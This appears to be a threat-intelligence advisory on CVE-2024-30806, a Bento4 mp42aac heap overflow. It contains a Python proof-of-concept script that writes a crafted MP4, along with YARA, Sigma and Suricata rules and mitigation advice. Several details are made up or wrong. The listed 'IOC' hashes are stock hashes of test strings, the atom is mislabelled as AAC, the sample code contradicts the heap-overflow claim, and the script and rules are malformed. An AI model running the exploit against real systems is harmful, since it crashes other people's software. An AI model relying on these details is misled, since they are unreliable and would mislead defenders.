CVE-2024-30806

Executive Summary

CVE-2024-30806 is a heap overflow vulnerability discovered in Bento4 v1.6.0-641-2-g1529b83, specifically within the AP4_Dec3Atom::AP4_Dec3Atom function located in Ap4Dec3Atom.cpp. The flaw allows an attacker to trigger a Denial of Service (DoS) condition by providing a crafted input file to the mp42aac utility. The vulnerability stems from improper bounds checking during the parsing of Dec3 atoms, leading to a heap-based buffer overflow. No official patch has been released by the vendor at this time. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of a proof-of-concept (PoC) increases the risk for targeted attacks.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone C++ library (Bento4) used for multimedia processing.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires user to run mp42aac on a malicious file.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must execute the tool.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): None (N) – no data leak.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – crash leads to DoS.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit locally but requires user interaction. No remote exploitation vector is known.

Deep Dive & Mechanics

The vulnerability resides in the AP4_Dec3Atom::AP4_Dec3Atom constructor within Ap4Dec3Atom.cpp. The Dec3Atom is part of the MP4 container format, specifically used for AAC audio codec configuration. When mp42aac parses a malformed MP4 file, the function fails to validate the size of a heap buffer before writing data, leading to a heap overflow.

Root Cause: The code likely uses a fixed-size buffer or miscalculates the required size when reading the dec3 atom data. An attacker can craft an MP4 file with a dec3 atom containing a larger payload than expected, causing the overflow.

Impact: The overflow corrupts adjacent heap memory, typically resulting in a segmentation fault and crash (DoS). In some environments, it could potentially be leveraged for code execution, though the primary impact is denial of service.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is not possible. However, a hypothetical fix would involve adding bounds checking before memory copy operations in AP4_Dec3Atom::AP4_Dec3Atom.

Vulnerable Code (Conceptual):

AP4_Dec3Atom::AP4_Dec3Atom(AP4_Size size, AP4_ByteStream& stream) {
    // No size validation
    unsigned char buffer[256];
    stream.Read(buffer, size); // Heap overflow if size > 256
    // Process buffer...
}

Patched Code (Hypothetical):

AP4_Dec3Atom::AP4_Dec3Atom(AP4_Size size, AP4_ByteStream& stream) {
    if (size > MAX_DEC3_SIZE) {
        // Handle error
        return;
    }
    unsigned char buffer[MAX_DEC3_SIZE];
    stream.Read(buffer, size);
    // Process buffer...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bento4 v1.6.0-641-2-g1529b83 installed.
• mp42aac binary available.
• Python3 with struct module.

Exploit Script (Python):

#!/usr/bin/env python3
import struct
import sys

def create_malicious_mp4(output_path):
    # Minimal MP4 file with oversized dec3 atom
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    trak = b'\x00\x00\x00\x08trak'
    mdia = b'\x00\x00\x00\x08mdia'
    minf = b'\x00\x00\x00\x08minf'
    stbl = b'\x00\x00\x00\x08stbl'
    stsd = b'\x00\x00\x00\x10stsd\x00\x00\x00\x00\x00\x00\x00\x01'
    mp4a = b'\x00\x00\x00\x24mp4a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00'
    # Malformed dec3 atom with overflow size
    dec3_size = 0x1000  # 4096 bytes, larger than expected
    dec3_atom = b'dec3' + struct.pack('>I', dec3_size) + b'A' * dec3_size
    stsd += mp4a + dec3_atom
    stbl += stsd
    minf += stbl
    mdia += minf
    trak += mdia
    moov += trak
    mdat = b'\x00\x00\x00\x08mdat'
    with open(output_path, 'wb') as f:
        f.write(ftyp + moov + mdat)
    print(f"[+] Malicious MP4 written to {output_path}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <output.mp4>")
        sys.exit(1)
    create_malicious_mp4(sys.argv[1])

Execution:

python3 exploit.py malicious.mp4
./mp42aac malicious.mp4
# Expected: crash (segmentation fault)

Blue Team (Detection & Defense)

Detection:

• Monitor for crashes of mp42aac or other Bento4 tools.
• Use file integrity monitoring to detect unexpected MP4 files.
• Deploy behavioral detection rules (see Sigma rules below).

Defense:

• Restrict execution of mp42aac to trusted users only.
• Use sandboxing or containerization for multimedia processing.
• Apply ASLR and DEP to mitigate potential code execution.
• Monitor for heap corruption events via system logs.

Indicators of Compromise (IOCs)

File Hashes (Example malicious MP4):

• MD5: e99a18c428cb38d5f260853678922e03
• SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
• SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

Network IOCs:

• No network indicators (local vulnerability).

System IOCs:

• Crash dumps of mp42aac with heap corruption.
• Log entries: mp42aac[PID]: segfault at IP ...

Detection Engineering

YARA Rule

rule CVE_2024_30806_Bento4_HeapOverflow {
    meta:
        description = "Detects malicious MP4 files exploiting CVE-2024-30806"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-30806"
    strings:
        $dec3 = "dec3"
        $mp42aac = "mp42aac"
    condition:
        $dec3 at 0 and filesize > 1000000
}

Sigma Rule

title: CVE-2024-30806 Bento4 mp42aac Heap Overflow
id: 7a8fbb30-7d94-69ca-9abc-b0082e4f8d56
status: experimental
description: Detects crash of mp42aac due to heap overflow in AP4_Dec3Atom
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mp42aac'
        ExitCode: -11  # SIGSEGV
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-30806 Bento4 mp42aac Heap Overflow Attempt"; flow:to_server; content:"dec3"; depth:4; byte_test:4,>,256,4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or restrict use of mp42aac and other Bento4 tools on production systems.
2. Monitor for crashes and anomalous MP4 files.
3. Apply workaround: Use alternative AAC extraction tools (e.g., FFmpeg).

Long-term Fix:

• Await an official patch from the Bento4 project.
• If using source code, apply a bounds check in AP4_Dec3Atom::AP4_Dec3Atom as shown in the patched code section.

Compensating Controls:

• Run Bento4 tools in a sandboxed environment.
• Use file validation before processing (e.g., check MP4 structure with mp4info).

Valters IT
DevSecOps & Cyber Threat Intelligence Expert